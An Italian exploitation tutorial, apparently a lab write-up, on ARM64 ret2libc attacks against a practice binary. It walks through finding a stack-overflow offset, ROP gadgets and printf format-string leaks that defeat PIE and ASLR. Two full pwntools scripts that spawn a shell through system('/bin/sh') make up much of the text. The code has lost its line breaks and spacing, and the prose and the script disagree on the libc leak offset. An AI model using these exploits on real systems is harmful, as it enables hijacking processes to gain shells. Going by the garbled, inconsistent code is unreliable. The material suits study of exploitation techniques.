Creando un pattern con pattern create 200, utilizzandolo e controllando l'offset con pattern search $x30 possiamo vedere che l'offset è 108 (0x6c).
Dando un'occhiata alla funzione main disassemblata possiamo vedere che vorremmo saltare all'istruzione per saltare a printf direttamente, il cui offset da dove il binario è caricato è 0x860:
Trova system e stringa /bin/sh
Poiché l'ASLR è disabilitato, gli indirizzi saranno sempre gli stessi:
Trova Gadgets
Dobbiamo avere in x0 l'indirizzo della stringa /bin/sh e chiamare system.
Utilizzando rooper è stato trovato un gadget interessante:
Questo gadget caricherà x0 da $sp + 0x18 e poi caricherà gli indirizzi x29 e x30 da sp e salterà a x30. Quindi, con questo gadget possiamo controllare il primo argomento e poi saltare a system.
Exploit
from pwn import*from time import sleepp =process('./rop')# For local binarylibc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")libc.address =0x0000fffff7df0000binsh =next(libc.search(b"/bin/sh"))#Verify with find /bin/shsystem = libc.sym["system"]defexpl_bof(payload):p.recv()p.sendline(payload)# Ret2mainstack_offset =108ldr_x0_ret =p64(libc.address +0x6bdf0)# ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;x29 =b"AAAAAAAA"x30 =p64(system)fill =b"A"* (0x18-0x10)x0 =p64(binsh)payload =b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0p.sendline(payload)p.interactive()p.close()
Ret2lib - Bypass NX, ASL e PIE con leak di printf dallo stack
Impostando un breakpoint prima di chiamare printf è possibile vedere che ci sono indirizzi a cui tornare al binario nello stack e anche indirizzi libc:
Provando diversi offset, il %21$p può leakare un indirizzo binario (bypass PIE) e il %25$p può leakare un indirizzo libc:
Sottraendo l'indirizzo libc leakato con l'indirizzo base di libc, è possibile vedere che l'offset dell'indirizzo leakato dalla base è 0x49c40.
offset x30
Vedi l'esempio precedente poiché il bof è lo stesso.
Trova Gadgets
Come nell'esempio precedente, dobbiamo avere in x0 l'indirizzo della stringa /bin/sh e chiamare system.
Utilizzando rooper è stato trovato un altro gadget interessante:
Questo gadget caricherà x0 da $sp + 0x78 e poi caricherà gli indirizzi x29 e x30 da sp e salterà a x30. Quindi, con questo gadget possiamo controllare il primo argomento e poi saltare a system.
Exploit
from pwn import*from time import sleepp =process('./rop')# For local binarylibc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")defleak_printf(payload,is_main_addr=False):p.sendlineafter(b">\n" ,payload)response = p.recvline().strip()[2:] #Remove new line and "0x" prefixif is_main_addr:response = response[:-4]+b"0000"returnint(response, 16)defexpl_bof(payload):p.recv()p.sendline(payload)# Get main addressmain_address =leak_printf(b"%21$p", True)print(f"Bin address: {hex(main_address)}")# Ret2mainstack_offset =108main_call_printf_offset =0x860#Offset inside main to call printfleakprint("Going back to "+str(hex(main_address + main_call_printf_offset)))ret2main =b"A"*stack_offset +p64(main_address + main_call_printf_offset)expl_bof(ret2main)# libclibc_base_address =leak_printf(b"%25$p")-0x26dc4libc.address = libc_base_addressprint(f"Libc address: {hex(libc_base_address)}")binsh =next(libc.search(b"/bin/sh"))system = libc.sym["system"]# ret2systemldr_x0_ret =p64(libc.address +0x49c40)# ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;x29 =b"AAAAAAAA"x30 =p64(system)fill =b"A"* (0x78-0x10)x0 =p64(binsh)payload =b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0p.sendline(payload)p.interactive()